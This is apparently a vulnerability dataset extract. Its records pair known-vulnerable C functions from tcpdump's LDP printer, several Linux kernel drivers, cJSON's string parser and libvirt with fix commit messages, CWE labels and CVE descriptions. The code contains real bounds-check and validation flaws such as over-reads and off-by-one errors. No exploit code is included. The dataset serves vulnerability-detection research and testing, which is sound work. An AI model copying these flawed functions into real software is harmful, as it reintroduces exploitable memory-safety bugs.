(EXTRACT_16BITS(tptr+2)&0x8000) ? "Targeted" : "Link",
(EXTRACT_16BITS(tptr+2)&0x4000) ? ", Request for targeted Hellos" : ""));
break;
case LDP_TLV_IPV4_TRANSPORT_ADDR:
TLV_TCHECK(4);
ND_PRINT((ndo, "\n\t IPv4 Transport Address: %s", ipaddr_string(ndo, tptr)));
break;
case LDP_TLV_IPV6_TRANSPORT_ADDR:
TLV_TCHECK(16);
ND_PRINT((ndo, "\n\t IPv6 Transport Address: %s", ip6addr_string(ndo, tptr)));
break;
case LDP_TLV_CONFIG_SEQ_NUMBER:
TLV_TCHECK(4);
ND_PRINT((ndo, "\n\t Sequence Number: %u", EXTRACT_32BITS(tptr)));
break;
case LDP_TLV_ADDRESS_LIST:
TLV_TCHECK(LDP_TLV_ADDRESS_LIST_AFNUM_LEN);
af = EXTRACT_16BITS(tptr);
tptr+=LDP_TLV_ADDRESS_LIST_AFNUM_LEN;
tlv_tlen -= LDP_TLV_ADDRESS_LIST_AFNUM_LEN;
ND_PRINT((ndo, "\n\t Address Family: %s, addresses",
tok2str(af_values, "Unknown (%u)", af)));
switch (af) {
case AFNUM_INET:
while(tlv_tlen >= sizeof(struct in_addr)) {
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, " %s", ipaddr_string(ndo, tptr)));
tlv_tlen-=sizeof(struct in_addr);
tptr+=sizeof(struct in_addr);
}
break;
case AFNUM_INET6:
while(tlv_tlen >= sizeof(struct in6_addr)) {
ND_TCHECK2(*tptr, sizeof(struct in6_addr));
ND_PRINT((ndo, " %s", ip6addr_string(ndo, tptr)));
tlv_tlen-=sizeof(struct in6_addr);
tptr+=sizeof(struct in6_addr);
}
break;
default:
/* unknown AF */
break;
}
break;
case LDP_TLV_COMMON_SESSION:
TLV_TCHECK(8);
ND_PRINT((ndo, "\n\t Version: %u, Keepalive: %us, Flags: [Downstream %s, Loop Detection %s]",
EXTRACT_16BITS(tptr), EXTRACT_16BITS(tptr+2),
(EXTRACT_16BITS(tptr+6)&0x8000) ? "On Demand" : "Unsolicited",
(EXTRACT_16BITS(tptr+6)&0x4000) ? "Enabled" : "Disabled"
));
break;
case LDP_TLV_FEC:
TLV_TCHECK(1);
fec_type = *tptr;
ND_PRINT((ndo, "\n\t %s FEC (0x%02x)",
tok2str(ldp_fec_values, "Unknown", fec_type),
fec_type));
tptr+=1;
tlv_tlen-=1;
switch(fec_type) {
case LDP_FEC_WILDCARD:
break;
case LDP_FEC_PREFIX:
TLV_TCHECK(2);
af = EXTRACT_16BITS(tptr);
tptr+=LDP_TLV_ADDRESS_LIST_AFNUM_LEN;
tlv_tlen-=LDP_TLV_ADDRESS_LIST_AFNUM_LEN;
if (af == AFNUM_INET) {
i=decode_prefix4(ndo, tptr, tlv_tlen, buf, sizeof(buf));
if (i == -2)
goto trunc;
if (i == -3)
ND_PRINT((ndo, ": IPv4 prefix (goes past end of TLV)"));
else if (i == -1)
ND_PRINT((ndo, ": IPv4 prefix (invalid length)"));
else
ND_PRINT((ndo, ": IPv4 prefix %s", buf));
}
else if (af == AFNUM_INET6) {
i=decode_prefix6(ndo, tptr, tlv_tlen, buf, sizeof(buf));
if (i == -2)
goto trunc;
if (i == -3)
ND_PRINT((ndo, ": IPv4 prefix (goes past end of TLV)"));
else if (i == -1)
ND_PRINT((ndo, ": IPv6 prefix (invalid length)"));
else
ND_PRINT((ndo, ": IPv6 prefix %s", buf));
}
else
ND_PRINT((ndo, ": Address family %u prefix", af));
break;
case LDP_FEC_HOSTADDRESS:
break;
case LDP_FEC_MARTINI_VC:
/*
* We assume the type was supposed to be one of the MPLS
* Pseudowire Types.
*/
TLV_TCHECK(7);
vc_info_len = *(tptr+2);
/*
* According to RFC 4908, the VC info Length field can be zero,
* in which case not only are there no interface parameters,
* there's no VC ID.
*/
if (vc_info_len == 0) {
ND_PRINT((ndo, ": %s, %scontrol word, group-ID %u, VC-info-length: %u",
tok2str(mpls_pw_types_values, "Unknown", EXTRACT_16BITS(tptr)&0x7fff),
EXTRACT_16BITS(tptr)&0x8000 ? "" : "no ",
EXTRACT_32BITS(tptr+3),
vc_info_len));
break;
}
/* Make sure we have the VC ID as well */
TLV_TCHECK(11);
ND_PRINT((ndo, ": %s, %scontrol word, group-ID %u, VC-ID %u, VC-info-length: %u",
tok2str(mpls_pw_types_values, "Unknown", EXTRACT_16BITS(tptr)&0x7fff),
EXTRACT_16BITS(tptr)&0x8000 ? "" : "no ",
EXTRACT_32BITS(tptr+3),
EXTRACT_32BITS(tptr+7),
vc_info_len));
if (vc_info_len < 4) {
/* minimum 4, for the VC ID */
ND_PRINT((ndo, " (invalid, < 4"));
return(tlv_len+4); /* Type & Length fields not included */
}
vc_info_len -= 4; /* subtract out the VC ID, giving the length of the interface parameters */
/* Skip past the fixed information and the VC ID */
tptr+=11;
tlv_tlen-=11;
TLV_TCHECK(vc_info_len);
while (vc_info_len > 2) {
vc_info_tlv_type = *tptr;
vc_info_tlv_len = *(tptr+1);
if (vc_info_tlv_len < 2)
break;
if (vc_info_len < vc_info_tlv_len)
break;
ND_PRINT((ndo, "\n\t\tInterface Parameter: %s (0x%02x), len %u",
tok2str(ldp_fec_martini_ifparm_values,"Unknown",vc_info_tlv_type),
vc_info_tlv_type,
vc_info_tlv_len));
switch(vc_info_tlv_type) {
case LDP_FEC_MARTINI_IFPARM_MTU:
ND_PRINT((ndo, ": %u", EXTRACT_16BITS(tptr+2)));
break;
case LDP_FEC_MARTINI_IFPARM_DESC:
ND_PRINT((ndo, ": "));
for (idx = 2; idx < vc_info_tlv_len; idx++)
safeputchar(ndo, *(tptr + idx));
break;
case LDP_FEC_MARTINI_IFPARM_VCCV:
ND_PRINT((ndo, "\n\t\t Control Channels (0x%02x) = [%s]",
*(tptr+2),
bittok2str(ldp_fec_martini_ifparm_vccv_cc_values, "none", *(tptr+2))));
ND_PRINT((ndo, "\n\t\t CV Types (0x%02x) = [%s]",
*(tptr+3),
bittok2str(ldp_fec_martini_ifparm_vccv_cv_values, "none", *(tptr+3))));
break;
default:
print_unknown_data(ndo, tptr+2, "\n\t\t ", vc_info_tlv_len-2);
break;
}
vc_info_len -= vc_info_tlv_len;
tptr += vc_info_tlv_len;
}
break;
}
break;
case LDP_TLV_GENERIC_LABEL:
TLV_TCHECK(4);
ND_PRINT((ndo, "\n\t Label: %u", EXTRACT_32BITS(tptr) & 0xfffff));
break;
case LDP_TLV_STATUS:
TLV_TCHECK(8);
ui = EXTRACT_32BITS(tptr);
tptr+=4;
ND_PRINT((ndo, "\n\t Status: 0x%02x, Flags: [%s and %s forward]",
ui&0x3fffffff,
ui&0x80000000 ? "Fatal error" : "Advisory Notification",
ui&0x40000000 ? "do" : "don't"));
ui = EXTRACT_32BITS(tptr);
tptr+=4;
if (ui)
ND_PRINT((ndo, ", causing Message ID: 0x%08x", ui));
break;
case LDP_TLV_FT_SESSION:
TLV_TCHECK(8);
ft_flags = EXTRACT_16BITS(tptr);
ND_PRINT((ndo, "\n\t Flags: [%sReconnect, %sSave State, %sAll-Label Protection, %s Checkpoint, %sRe-Learn State]",
ft_flags&0x8000 ? "" : "No ",
ft_flags&0x8 ? "" : "Don't ",
ft_flags&0x4 ? "" : "No ",
ft_flags&0x2 ? "Sequence Numbered Label" : "All Labels",
ft_flags&0x1 ? "" : "Don't "));
tptr+=4;
ui = EXTRACT_32BITS(tptr);
if (ui)
ND_PRINT((ndo, ", Reconnect Timeout: %ums", ui));
tptr+=4;
ui = EXTRACT_32BITS(tptr);
if (ui)
ND_PRINT((ndo, ", Recovery Time: %ums", ui));
break;
case LDP_TLV_MTU:
TLV_TCHECK(2);
ND_PRINT((ndo, "\n\t MTU: %u", EXTRACT_16BITS(tptr)));
break;
/*
* FIXME those are the defined TLVs that lack a decoder
* you are welcome to contribute code ;-)
*/
case LDP_TLV_HOP_COUNT:
case LDP_TLV_PATH_VECTOR:
case LDP_TLV_ATM_LABEL:
case LDP_TLV_FR_LABEL:
case LDP_TLV_EXTD_STATUS:
case LDP_TLV_RETURNED_PDU:
case LDP_TLV_RETURNED_MSG:
case LDP_TLV_ATM_SESSION_PARM:
case LDP_TLV_FR_SESSION_PARM:
case LDP_TLV_LABEL_REQUEST_MSG_ID:
default:
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlv_tlen);
break;
}
return(tlv_len+4); /* Type & Length fields not included */
trunc:
ND_PRINT((ndo, "\n\t\t packet exceeded snapshot"));
return 0;
badtlv:
ND_PRINT((ndo, "\n\t\t TLV contents go past end of TLV"));
return(tlv_len+4); /* Type & Length fields not included */
}
| 175,449,531,126,840,100,000,000,000,000,000,000,000 | print-ldp.c | 199,241,510,340,081,260,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14461 | The LDP parser in tcpdump before 4.9.3 has a buffer over-read in print-ldp.c:ldp_tlv_print(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14461 |
4,200 | linux | 0ad646c81b2182f7fa67ec0c8c825e0ee165696d | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/0ad646c81b2182f7fa67ec0c8c825e0ee165696d | tun: call dev_get_valid_name() before register_netdevice()
register_netdevice() could fail early when we have an invalid
dev name, in which case ->ndo_uninit() is not called. For tun
device, this is a problem because a timer etc. are already
initialized and it expects ->ndo_uninit() to clean them up.
We could move these initializations into a ->ndo_init() so
that register_netdevice() knows better, however this is still
complicated due to the logic in tun_detach().
Therefore, I choose to just call dev_get_valid_name() before
register_netdevice(), which is quicker and much easier to audit.
And for this specific case, it is already enough.
Fixes: 96442e42429e ("tuntap: choose the txq based on rxq")
Reported-by: Dmitry Alexeev <avekceeb@gmail.com>
Cc: Jason Wang <jasowang@redhat.com>
Cc: "Michael S. Tsirkin" <mst@redhat.com>
Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | static int dev_get_valid_name(struct net *net,
struct net_device *dev,
const char *name)
{
BUG_ON(!net);
if (!dev_valid_name(name))
return -EINVAL;
if (strchr(name, '%'))
return dev_alloc_name_ns(net, dev, name);
else if (__dev_get_by_name(net, name))
return -EEXIST;
else if (dev->name != name)
strlcpy(dev->name, name, IFNAMSIZ);
return 0;
}
| 194,124,048,216,443,300,000,000,000,000,000,000,000 | dev.c | 337,658,462,804,777,840,000,000,000,000,000,000,000 | [
"CWE-476"
] | CVE-2018-7191 | In the tun subsystem in the Linux kernel before 4.13.14, dev_get_valid_name is not called before register_netdevice. This allows local users to cause a denial of service (NULL pointer dereference and panic) via an ioctl(TUNSETIFF) call with a dev name containing a / character. This is similar to CVE-2013-4343. | https://nvd.nist.gov/vuln/detail/CVE-2018-7191 |
4,203 | linux | 0c319d3a144d4b8f1ea2047fd614d2149b68f889 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/0c319d3a144d4b8f1ea2047fd614d2149b68f889 | nvmet-fc: ensure target queue id within range.
When searching for queue id's ensure they are within the expected range.
Signed-off-by: James Smart <james.smart@broadcom.com>
Signed-off-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Jens Axboe <axboe@kernel.dk> | 1 | nvmet_fc_find_target_queue(struct nvmet_fc_tgtport *tgtport,
u64 connection_id)
{
struct nvmet_fc_tgt_assoc *assoc;
struct nvmet_fc_tgt_queue *queue;
u64 association_id = nvmet_fc_getassociationid(connection_id);
u16 qid = nvmet_fc_getqueueid(connection_id);
unsigned long flags;
spin_lock_irqsave(&tgtport->lock, flags);
list_for_each_entry(assoc, &tgtport->assoc_list, a_list) {
if (association_id == assoc->association_id) {
queue = assoc->queues[qid];
if (queue &&
(!atomic_read(&queue->connected) ||
!nvmet_fc_tgt_q_get(queue)))
queue = NULL;
spin_unlock_irqrestore(&tgtport->lock, flags);
return queue;
}
}
spin_unlock_irqrestore(&tgtport->lock, flags);
return NULL;
}
| 185,335,558,178,742,060,000,000,000,000,000,000,000 | fc.c | 272,260,028,181,561,500,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2017-18379 | In the Linux kernel before 4.14, an out of boundary access happened in drivers/nvme/target/fc.c. | https://nvd.nist.gov/vuln/detail/CVE-2017-18379 |
4,204 | linux | 6aeb75e6adfaed16e58780309613a578fe1ee90b | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/6aeb75e6adfaed16e58780309613a578fe1ee90b | USB: serial: io_ti: fix div-by-zero in set_termios
Fix a division-by-zero in set_termios when debugging is enabled and a
high-enough speed has been requested so that the divisor value becomes
zero.
Instead of just fixing the offending debug statement, cap the baud rate
at the base as a zero divisor value also appears to crash the firmware.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable <stable@vger.kernel.org> # 2.6.12
Reviewed-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Johan Hovold <johan@kernel.org> | 1 | static void change_port_settings(struct tty_struct *tty,
struct edgeport_port *edge_port, struct ktermios *old_termios)
{
struct device *dev = &edge_port->port->dev;
struct ump_uart_config *config;
int baud;
unsigned cflag;
int status;
int port_number = edge_port->port->port_number;
config = kmalloc (sizeof (*config), GFP_KERNEL);
if (!config) {
tty->termios = *old_termios;
return;
}
cflag = tty->termios.c_cflag;
config->wFlags = 0;
/* These flags must be set */
config->wFlags |= UMP_MASK_UART_FLAGS_RECEIVE_MS_INT;
config->wFlags |= UMP_MASK_UART_FLAGS_AUTO_START_ON_ERR;
config->bUartMode = (__u8)(edge_port->bUartMode);
switch (cflag & CSIZE) {
case CS5:
config->bDataBits = UMP_UART_CHAR5BITS;
dev_dbg(dev, "%s - data bits = 5\n", __func__);
break;
case CS6:
config->bDataBits = UMP_UART_CHAR6BITS;
dev_dbg(dev, "%s - data bits = 6\n", __func__);
break;
case CS7:
config->bDataBits = UMP_UART_CHAR7BITS;
dev_dbg(dev, "%s - data bits = 7\n", __func__);
break;
default:
case CS8:
config->bDataBits = UMP_UART_CHAR8BITS;
dev_dbg(dev, "%s - data bits = 8\n", __func__);
break;
}
if (cflag & PARENB) {
if (cflag & PARODD) {
config->wFlags |= UMP_MASK_UART_FLAGS_PARITY;
config->bParity = UMP_UART_ODDPARITY;
dev_dbg(dev, "%s - parity = odd\n", __func__);
} else {
config->wFlags |= UMP_MASK_UART_FLAGS_PARITY;
config->bParity = UMP_UART_EVENPARITY;
dev_dbg(dev, "%s - parity = even\n", __func__);
}
} else {
config->bParity = UMP_UART_NOPARITY;
dev_dbg(dev, "%s - parity = none\n", __func__);
}
if (cflag & CSTOPB) {
config->bStopBits = UMP_UART_STOPBIT2;
dev_dbg(dev, "%s - stop bits = 2\n", __func__);
} else {
config->bStopBits = UMP_UART_STOPBIT1;
dev_dbg(dev, "%s - stop bits = 1\n", __func__);
}
/* figure out the flow control settings */
if (cflag & CRTSCTS) {
config->wFlags |= UMP_MASK_UART_FLAGS_OUT_X_CTS_FLOW;
config->wFlags |= UMP_MASK_UART_FLAGS_RTS_FLOW;
dev_dbg(dev, "%s - RTS/CTS is enabled\n", __func__);
} else {
dev_dbg(dev, "%s - RTS/CTS is disabled\n", __func__);
restart_read(edge_port);
}
/*
* if we are implementing XON/XOFF, set the start and stop
* character in the device
*/
config->cXon = START_CHAR(tty);
config->cXoff = STOP_CHAR(tty);
/* if we are implementing INBOUND XON/XOFF */
if (I_IXOFF(tty)) {
config->wFlags |= UMP_MASK_UART_FLAGS_IN_X;
dev_dbg(dev, "%s - INBOUND XON/XOFF is enabled, XON = %2x, XOFF = %2x\n",
__func__, config->cXon, config->cXoff);
} else
dev_dbg(dev, "%s - INBOUND XON/XOFF is disabled\n", __func__);
/* if we are implementing OUTBOUND XON/XOFF */
if (I_IXON(tty)) {
config->wFlags |= UMP_MASK_UART_FLAGS_OUT_X;
dev_dbg(dev, "%s - OUTBOUND XON/XOFF is enabled, XON = %2x, XOFF = %2x\n",
__func__, config->cXon, config->cXoff);
} else
dev_dbg(dev, "%s - OUTBOUND XON/XOFF is disabled\n", __func__);
tty->termios.c_cflag &= ~CMSPAR;
/* Round the baud rate */
baud = tty_get_baud_rate(tty);
if (!baud) {
/* pick a default, any default... */
baud = 9600;
} else
tty_encode_baud_rate(tty, baud, baud);
edge_port->baud_rate = baud;
config->wBaudRate = (__u16)((461550L + baud/2) / baud);
/* FIXME: Recompute actual baud from divisor here */
dev_dbg(dev, "%s - baud rate = %d, wBaudRate = %d\n", __func__, baud, config->wBaudRate);
dev_dbg(dev, "wBaudRate: %d\n", (int)(461550L / config->wBaudRate));
dev_dbg(dev, "wFlags: 0x%x\n", config->wFlags);
dev_dbg(dev, "bDataBits: %d\n", config->bDataBits);
dev_dbg(dev, "bParity: %d\n", config->bParity);
dev_dbg(dev, "bStopBits: %d\n", config->bStopBits);
dev_dbg(dev, "cXon: %d\n", config->cXon);
dev_dbg(dev, "cXoff: %d\n", config->cXoff);
dev_dbg(dev, "bUartMode: %d\n", config->bUartMode);
/* move the word values into big endian mode */
cpu_to_be16s(&config->wFlags);
cpu_to_be16s(&config->wBaudRate);
status = send_cmd(edge_port->port->serial->dev, UMPC_SET_CONFIG,
(__u8)(UMPM_UART1_PORT + port_number),
0, (__u8 *)config, sizeof(*config));
if (status)
dev_dbg(dev, "%s - error %d when trying to write config to device\n",
__func__, status);
kfree(config);
}
| 2,899,605,228,826,136,000,000,000,000,000,000,000 | io_ti.c | 311,416,253,777,553,600,000,000,000,000,000,000,000 | [
"CWE-369"
] | CVE-2017-18360 | In change_port_settings in drivers/usb/serial/io_ti.c in the Linux kernel before 4.11.3, local users could cause a denial of service by division-by-zero in the serial device layer by trying to set very high baud rates. | https://nvd.nist.gov/vuln/detail/CVE-2017-18360 |
4,205 | linux | 193e87143c290ec16838f5368adc0e0bc94eb931 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/193e87143c290ec16838f5368adc0e0bc94eb931 | mtd: spi-nor: Off by one in cqspi_setup_flash()
There are CQSPI_MAX_CHIPSELECT elements in the ->f_pdata array so the >
should be >=.
Fixes: 140623410536 ('mtd: spi-nor: Add driver for Cadence Quad SPI Flash Controller')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Reviewed-by: Marek Vasut <marex@denx.de>
Signed-off-by: Cyrille Pitchen <cyrille.pitchen@atmel.com> | 1 | static int cqspi_setup_flash(struct cqspi_st *cqspi, struct device_node *np)
{
struct platform_device *pdev = cqspi->pdev;
struct device *dev = &pdev->dev;
struct cqspi_flash_pdata *f_pdata;
struct spi_nor *nor;
struct mtd_info *mtd;
unsigned int cs;
int i, ret;
/* Get flash device data */
for_each_available_child_of_node(dev->of_node, np) {
if (of_property_read_u32(np, "reg", &cs)) {
dev_err(dev, "Couldn't determine chip select.\n");
goto err;
}
if (cs > CQSPI_MAX_CHIPSELECT) {
dev_err(dev, "Chip select %d out of range.\n", cs);
goto err;
}
f_pdata = &cqspi->f_pdata[cs];
f_pdata->cqspi = cqspi;
f_pdata->cs = cs;
ret = cqspi_of_get_flash_pdata(pdev, f_pdata, np);
if (ret)
goto err;
nor = &f_pdata->nor;
mtd = &nor->mtd;
mtd->priv = nor;
nor->dev = dev;
spi_nor_set_flash_node(nor, np);
nor->priv = f_pdata;
nor->read_reg = cqspi_read_reg;
nor->write_reg = cqspi_write_reg;
nor->read = cqspi_read;
nor->write = cqspi_write;
nor->erase = cqspi_erase;
nor->prepare = cqspi_prep;
nor->unprepare = cqspi_unprep;
mtd->name = devm_kasprintf(dev, GFP_KERNEL, "%s.%d",
dev_name(dev), cs);
if (!mtd->name) {
ret = -ENOMEM;
goto err;
}
ret = spi_nor_scan(nor, NULL, SPI_NOR_QUAD);
if (ret)
goto err;
ret = mtd_device_register(mtd, NULL, 0);
if (ret)
goto err;
f_pdata->registered = true;
}
return 0;
err:
for (i = 0; i < CQSPI_MAX_CHIPSELECT; i++)
if (cqspi->f_pdata[i].registered)
mtd_device_unregister(&cqspi->f_pdata[i].nor.mtd);
return ret;
}
| 186,302,357,406,260,160,000,000,000,000,000,000,000 | None | null | [
"CWE-119"
] | CVE-2016-10764 | In the Linux kernel before 4.9.6, there is an off by one in the drivers/mtd/spi-nor/cadence-quadspi.c cqspi_setup_flash() function. There are CQSPI_MAX_CHIPSELECT elements in the ->f_pdata array so the ">" should be ">=" instead. | https://nvd.nist.gov/vuln/detail/CVE-2016-10764 |
4,206 | cJSON | 94df772485c92866ca417d92137747b2e3b0a917 | https://github.com/DaveGamble/cJSON | https://github.com/DaveGamble/cJSON/commit/94df772485c92866ca417d92137747b2e3b0a917 | fix buffer overflow (#30) | 1 | static const char *parse_string(cJSON *item,const char *str,const char **ep)
{
const char *ptr=str+1,*end_ptr=str+1;char *ptr2;char *out;int len=0;unsigned uc,uc2;
if (*str!='\"') {*ep=str;return 0;} /* not a string! */
while (*end_ptr!='\"' && *end_ptr && ++len) if (*end_ptr++ == '\\') end_ptr++; /* Skip escaped quotes. */
out=(char*)cJSON_malloc(len+1); /* This is how long we need for the string, roughly. */
if (!out) return 0;
item->valuestring=out; /* assign here so out will be deleted during cJSON_Delete() later */
item->type=cJSON_String;
ptr=str+1;ptr2=out;
while (ptr < end_ptr)
{
if (*ptr!='\\') *ptr2++=*ptr++;
else
{
ptr++;
switch (*ptr)
{
case 'b': *ptr2++='\b'; break;
case 'f': *ptr2++='\f'; break;
case 'n': *ptr2++='\n'; break;
case 'r': *ptr2++='\r'; break;
case 't': *ptr2++='\t'; break;
case 'u': /* transcode utf16 to utf8. */
uc=parse_hex4(ptr+1);ptr+=4; /* get the unicode char. */
if (ptr >= end_ptr) {*ep=str;return 0;} /* invalid */
if ((uc>=0xDC00 && uc<=0xDFFF) || uc==0) {*ep=str;return 0;} /* check for invalid. */
if (uc>=0xD800 && uc<=0xDBFF) /* UTF16 surrogate pairs. */
{
if (ptr+6 > end_ptr) {*ep=str;return 0;} /* invalid */
if (ptr[1]!='\\' || ptr[2]!='u') {*ep=str;return 0;} /* missing second-half of surrogate. */
uc2=parse_hex4(ptr+3);ptr+=6;
if (uc2<0xDC00 || uc2>0xDFFF) {*ep=str;return 0;} /* invalid second-half of surrogate. */
uc=0x10000 + (((uc&0x3FF)<<10) | (uc2&0x3FF));
}
len=4;if (uc<0x80) len=1;else if (uc<0x800) len=2;else if (uc<0x10000) len=3; ptr2+=len;
switch (len) {
case 4: *--ptr2 =((uc | 0x80) & 0xBF); uc >>= 6;
case 3: *--ptr2 =((uc | 0x80) & 0xBF); uc >>= 6;
case 2: *--ptr2 =((uc | 0x80) & 0xBF); uc >>= 6;
case 1: *--ptr2 =(uc | firstByteMark[len]);
}
ptr2+=len;
break;
default: *ptr2++=*ptr; break;
}
ptr++;
}
}
*ptr2=0;
if (*ptr=='\"') ptr++;
return ptr;
}
| 118,463,785,809,405,890,000,000,000,000,000,000,000 | cjson.c | 284,722,214,602,097,060,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2016-10749 | parse_string in cJSON.c in cJSON before 2016-10-02 has a buffer over-read, as demonstrated by a string that begins with a " character and ends with a \ character. | https://nvd.nist.gov/vuln/detail/CVE-2016-10749 |
4,207 | libvirt | 506e9d6c2d4baaf580d489fff0690c0ff2ff588f | https://github.com/libvirt/libvirt | https://github.com/libvirt/libvirt/commit/506e9d6c2d4baaf580d489fff0690c0ff2ff588f | virDomainGetTime: Deny on RO connections
We have a policy that if API may end up talking to a guest agent
it should require RW connection. We don't obey the rule in
virDomainGetTime().
Signed-off-by: Michal Privoznik <mprivozn@redhat.com> | 1 | virDomainGetTime(virDomainPtr dom,
long long *seconds,
unsigned int *nseconds,
unsigned int flags)
{
VIR_DOMAIN_DEBUG(dom, "seconds=%p, nseconds=%p, flags=%x",
seconds, nseconds, flags);
virResetLastError();
virCheckDomainReturn(dom, -1);
if (dom->conn->driver->domainGetTime) {
int ret = dom->conn->driver->domainGetTime(dom, seconds,
nseconds, flags);
if (ret < 0)
goto error;
return ret;
}
virReportUnsupportedError();
error:
virDispatchError(dom->conn);
return -1;
}
| 207,738,922,790,026,470,000,000,000,000,000,000,000 | libvirt-domain.c | 330,174,055,389,131,060,000,000,000,000,000,000,000 | [
"CWE-254"
] | CVE-2016-10746 | libvirt-domain.c in libvirt before 1.3.1 supports virDomainGetTime API calls by guest agents with an RO connection, even though an RW connection was supposed to be required, a different vulnerability than CVE-2019-3886. | https://nvd.nist.gov/vuln/detail/CVE-2016-10746 |
4,208 | linux | 1fa2337a315a2448c5434f41e00d56b01a22283c | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/1fa2337a315a2448c5434f41e00d56b01a22283c | [media] cx24116: fix a buffer overflow when checking userspace params
The maximum size for a DiSEqC command is 6, according to the
userspace API. However, the code allows to write up much more values:
drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23
Cc: stable@vger.kernel.org
Signed-off-by: Mauro Carvalho Chehab <mchehab@osg.samsung.com> | 1 | static int cx24116_send_diseqc_msg(struct dvb_frontend *fe,
struct dvb_diseqc_master_cmd *d)
{
struct cx24116_state *state = fe->demodulator_priv;
int i, ret;
/* Dump DiSEqC message */
if (debug) {
printk(KERN_INFO "cx24116: %s(", __func__);
for (i = 0 ; i < d->msg_len ;) {
printk(KERN_INFO "0x%02x", d->msg[i]);
if (++i < d->msg_len)
printk(KERN_INFO ", ");
}
printk(") toneburst=%d\n", toneburst);
}
/* Validate length */
if (d->msg_len > (CX24116_ARGLEN - CX24116_DISEQC_MSGOFS))
return -EINVAL;
/* DiSEqC message */
for (i = 0; i < d->msg_len; i++)
state->dsec_cmd.args[CX24116_DISEQC_MSGOFS + i] = d->msg[i];
/* DiSEqC message length */
state->dsec_cmd.args[CX24116_DISEQC_MSGLEN] = d->msg_len;
/* Command length */
state->dsec_cmd.len = CX24116_DISEQC_MSGOFS +
state->dsec_cmd.args[CX24116_DISEQC_MSGLEN];
/* DiSEqC toneburst */
if (toneburst == CX24116_DISEQC_MESGCACHE)
/* Message is cached */
return 0;
else if (toneburst == CX24116_DISEQC_TONEOFF)
/* Message is sent without burst */
state->dsec_cmd.args[CX24116_DISEQC_BURST] = 0;
else if (toneburst == CX24116_DISEQC_TONECACHE) {
/*
* Message is sent with derived else cached burst
*
* WRITE PORT GROUP COMMAND 38
*
* 0/A/A: E0 10 38 F0..F3
* 1/B/B: E0 10 38 F4..F7
* 2/C/A: E0 10 38 F8..FB
* 3/D/B: E0 10 38 FC..FF
*
* databyte[3]= 8421:8421
* ABCD:WXYZ
* CLR :SET
*
* WX= PORT SELECT 0..3 (X=TONEBURST)
* Y = VOLTAGE (0=13V, 1=18V)
* Z = BAND (0=LOW, 1=HIGH(22K))
*/
if (d->msg_len >= 4 && d->msg[2] == 0x38)
state->dsec_cmd.args[CX24116_DISEQC_BURST] =
((d->msg[3] & 4) >> 2);
if (debug)
dprintk("%s burst=%d\n", __func__,
state->dsec_cmd.args[CX24116_DISEQC_BURST]);
}
/* Wait for LNB ready */
ret = cx24116_wait_for_lnb(fe);
if (ret != 0)
return ret;
/* Wait for voltage/min repeat delay */
msleep(100);
/* Command */
ret = cx24116_cmd_execute(fe, &state->dsec_cmd);
if (ret != 0)
return ret;
/*
* Wait for send
*
* Eutelsat spec:
* >15ms delay + (XXX determine if FW does this, see set_tone)
* 13.5ms per byte +
* >15ms delay +
* 12.5ms burst +
* >15ms delay (XXX determine if FW does this, see set_tone)
*/
msleep((state->dsec_cmd.args[CX24116_DISEQC_MSGLEN] << 4) +
((toneburst == CX24116_DISEQC_TONEOFF) ? 30 : 60));
return 0;
}
| 191,512,209,927,685,670,000,000,000,000,000,000,000 | cx24116.c | 85,302,384,688,479,090,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2015-9289 | In the Linux kernel before 4.1.4, a buffer overflow occurs when checking userspace params in drivers/media/dvb-frontends/cx24116.c. The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows larger values such as 23. | https://nvd.nist.gov/vuln/detail/CVE-2015-9289 |
4,211 | linux | 12f09ccb4612734a53e47ed5302e0479c10a50f8 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/12f09ccb4612734a53e47ed5302e0479c10a50f8 | loopback: off by one in tcm_loop_make_naa_tpg()
This is an off by one 'tgpt' check in tcm_loop_make_naa_tpg() that could result
in memory corruption.
Signed-off-by: Dan Carpenter <error27@gmail.com>
Signed-off-by: Nicholas A. Bellinger <nab@linux-iscsi.org> | 1 | struct se_portal_group *tcm_loop_make_naa_tpg(
struct se_wwn *wwn,
struct config_group *group,
const char *name)
{
struct tcm_loop_hba *tl_hba = container_of(wwn,
struct tcm_loop_hba, tl_hba_wwn);
struct tcm_loop_tpg *tl_tpg;
char *tpgt_str, *end_ptr;
int ret;
unsigned short int tpgt;
tpgt_str = strstr(name, "tpgt_");
if (!tpgt_str) {
printk(KERN_ERR "Unable to locate \"tpgt_#\" directory"
" group\n");
return ERR_PTR(-EINVAL);
}
tpgt_str += 5; /* Skip ahead of "tpgt_" */
tpgt = (unsigned short int) simple_strtoul(tpgt_str, &end_ptr, 0);
if (tpgt > TL_TPGS_PER_HBA) {
printk(KERN_ERR "Passed tpgt: %hu exceeds TL_TPGS_PER_HBA:"
" %u\n", tpgt, TL_TPGS_PER_HBA);
return ERR_PTR(-EINVAL);
}
tl_tpg = &tl_hba->tl_hba_tpgs[tpgt];
tl_tpg->tl_hba = tl_hba;
tl_tpg->tl_tpgt = tpgt;
/*
* Register the tl_tpg as a emulated SAS TCM Target Endpoint
*/
ret = core_tpg_register(&tcm_loop_fabric_configfs->tf_ops,
wwn, &tl_tpg->tl_se_tpg, tl_tpg,
TRANSPORT_TPG_TYPE_NORMAL);
if (ret < 0)
return ERR_PTR(-ENOMEM);
